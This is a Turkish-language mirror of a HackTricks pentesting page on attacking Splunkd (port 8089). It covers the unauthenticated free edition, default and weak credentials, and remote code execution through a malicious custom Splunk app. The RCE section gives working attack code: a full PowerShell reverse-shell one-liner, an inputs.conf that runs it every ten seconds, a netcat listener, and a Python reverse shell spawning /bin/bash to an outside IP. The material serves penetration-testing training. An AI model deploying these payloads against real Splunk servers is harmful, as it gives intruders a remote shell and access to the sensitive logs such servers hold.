mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
138 lines
9 KiB
Markdown
138 lines
9 KiB
Markdown
# 8089 - Splunkd Pentest Etme
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imiz(https://opensea.io/collection/the-peass-family) koleksiyonumuzu
|
||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
|
||
|
||
</details>
|
||
|
||
## **Temel Bilgiler**
|
||
|
||
Splunk, **log analiz aracı** olan ve **verileri toplama, analiz etme ve görselleştirme**de önemli bir rol oynayan bir araçtır. İlk amacı **SIEM (Güvenlik Bilgi ve Olay Yönetimi)** aracı olarak hizmet vermek olmasa da, **güvenlik izleme** ve **iş analitiği** alanında popülerlik kazanmıştır.
|
||
|
||
Splunk dağıtımları genellikle **duyarlı verileri** depolamak için kullanılır ve sistem ele geçirilirse potansiyel saldırganlar için **değerli bir bilgi kaynağı** olabilir. **Varsayılan port:** 8089
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
8089/tcp open http Splunkd httpd
|
||
```
|
||
{% hint style="info" %}
|
||
**Splunk web sunucusu varsayılan olarak 8000 numaralı portta çalışır**.
|
||
{% endhint %}
|
||
|
||
## Numaralandırma
|
||
|
||
### Ücretsiz Sürüm
|
||
|
||
Splunk Enterprise deneme sürümü, **60 gün sonra ücretsiz bir sürüme dönüşür**, bu sürüm **kimlik doğrulaması gerektirmez**. Sistem yöneticilerinin Splunk'u denemek için deneme sürümünü yüklemesi ve daha sonra unutması oldukça yaygındır. Bu otomatik olarak kimlik doğrulaması olmayan ücretsiz sürüme dönüşecektir ve bu da çevrede bir güvenlik açığı oluşturacaktır. Bazı organizasyonlar bütçe kısıtlamaları nedeniyle ücretsiz sürümü tercih edebilir, ancak kullanıcı/rol yönetiminin olmamasının getirdiği sonuçları tam olarak anlamayabilirler.
|
||
|
||
### Varsayılan Kimlik Bilgileri
|
||
|
||
Eski Splunk sürümlerinde, varsayılan kimlik bilgileri **`admin:changeme`** olarak ayarlanmıştır ve bu bilgiler giriş sayfasında kolayca görüntülenir.\
|
||
Ancak, **en son Splunk sürümü** kurulum sürecinde **kimlik bilgilerini ayarlar**. Varsayılan kimlik bilgileri çalışmıyorsa, `admin`, `Welcome`, `Welcome1`, `Password123` gibi yaygın zayıf şifreler için kontrol etmek faydalı olabilir.
|
||
|
||
### Bilgi Edinme
|
||
|
||
Splunk'a giriş yaptıktan sonra, verileri **inceleyebilir**, **raporlar çalıştırabilir**, **panolar oluşturabilir**, Splunkbase kütüphanesinden **uygulamaları yükleyebilir** ve özel uygulamaları yükleyebilirsiniz.\
|
||
Ayrıca kod çalıştırabilirsiniz: Splunk'un, sunucu tarafında Django uygulamaları, REST uç noktaları, betikli girişler ve uyarı betikleri gibi **kod çalıştırma yöntemleri** bulunmaktadır. Splunk sunucusunda uzaktan kod yürütme sağlamanın yaygın bir yolu, betikli girişlerin kullanılmasıdır.
|
||
|
||
Ayrıca, Splunk'un Windows veya Linux ana bilgisayarlarına yüklenebileceği göz önüne alındığında, betikli girişler Bash, PowerShell veya Batch betiklerini çalıştırmak için oluşturulabilir.
|
||
|
||
### Shodan
|
||
|
||
* `Splunk yapı`
|
||
|
||
## Uzaktan Kod Yürütme (RCE)
|
||
|
||
### Özel Uygulama Oluşturma
|
||
|
||
Özel bir uygulama **Python, Batch, Bash veya PowerShell betikleri** çalıştırabilir.\
|
||
**Splunk'un Python'u yüklü** geldiğine dikkat edin, bu nedenle **Windows** sistemlerinde bile python kodu çalıştırabilirsiniz.
|
||
|
||
Bize yardımcı olması için [**bu**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk paketini kullanabilirsiniz. Bu depodaki **`bin`** dizininde [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) ve [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1) için örnekler bulunmaktadır. Bu adımları adım adım takip edelim.
|
||
|
||
Bunu başarmak için öncelikle aşağıdaki dizin yapısını kullanarak özel bir Splunk uygulaması oluşturmamız gerekmektedir:
|
||
```shell-session
|
||
tree splunk_shell/
|
||
|
||
splunk_shell/
|
||
├── bin
|
||
└── default
|
||
```
|
||
**`bin`** dizini, çalıştırmayı amaçladığımız **betikleri** içerecektir (bu durumda, bir **PowerShell** ters kabuk), ve varsayılan dizinde `inputs.conf` dosyamız olacak. Ters kabuğumuz bir **PowerShell tek satırlık komutu** olacaktır:
|
||
```powershell
|
||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
||
```
|
||
Dosya [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf), Splunk'a **hangi betiği çalıştıracağını** ve diğer koşulları söyler. Burada uygulamayı etkinleştirdik ve Splunk'a betiği her 10 saniyede bir çalıştırmasını söyledik. Aralık her zaman saniye cinsindendir ve giriş (betik) yalnızca bu ayar mevcut olduğunda çalışacaktır.
|
||
```shell-session
|
||
cat inputs.conf
|
||
|
||
[script://./bin/rev.py]
|
||
disabled = 0
|
||
interval = 10
|
||
sourcetype = shell
|
||
|
||
[script://.\bin\run.bat]
|
||
disabled = 0
|
||
sourcetype = shell
|
||
interval = 10
|
||
```
|
||
İhtiyacımız olan `.bat` dosyası, uygulama dağıtıldığında çalışacak ve PowerShell tek satırlık komutunu yürütecek.
|
||
|
||
Bir sonraki adım, `Dosyadan uygulama yükle`'yi seçmek ve uygulamayı yüklemek.
|
||
|
||
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Zararlı özel uygulamayı yüklemeden önce, Netcat veya [socat](https://linux.die.net/man/1/socat) kullanarak bir dinleyici başlatalım.
|
||
```shell-session
|
||
sudo nc -lnvp 443
|
||
|
||
listening on [any] 443 ...
|
||
```
|
||
`Uygulama Yükle` sayfasında `Göz at`a tıklayın, daha önce oluşturduğumuz tarball'ı seçin ve `Yükle`'ye tıklayın. Uygulamayı yüklediğimiz anda, uygulamanın durumu otomatik olarak `Etkin` olarak değişeceği için bir **ters kabuk** alınır.
|
||
|
||
#### Linux
|
||
|
||
Eğer bir **Linux ana bilgisayar** ile uğraşıyorsak, özel kötü amaçlı uygulamayı oluşturmadan önce `rev.py` Python betiğini **düzenlememiz** gerekecektir. Geri kalan süreç aynı olacaktı ve Netcat dinleyicimizde ters kabuk bağlantısı alacak ve yarışa başlayacaktık.
|
||
```python
|
||
import sys,socket,os,pty
|
||
|
||
ip="10.10.14.15"
|
||
port="443"
|
||
s=socket.socket()
|
||
s.connect((ip,int(port)))
|
||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||
pty.spawn('/bin/bash')
|
||
```
|
||
### Uzaktan Kod Çalıştırma (RCE) ve Yetki Yükseltme
|
||
|
||
Aşağıdaki sayfada, bu servisin nasıl kötüye kullanılarak yetki yükseltme ve kalıcılık elde edilebileceğine dair bir açıklama bulabilirsiniz:
|
||
|
||
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
||
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Referanslar
|
||
|
||
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Sıfırdan Kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'i desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|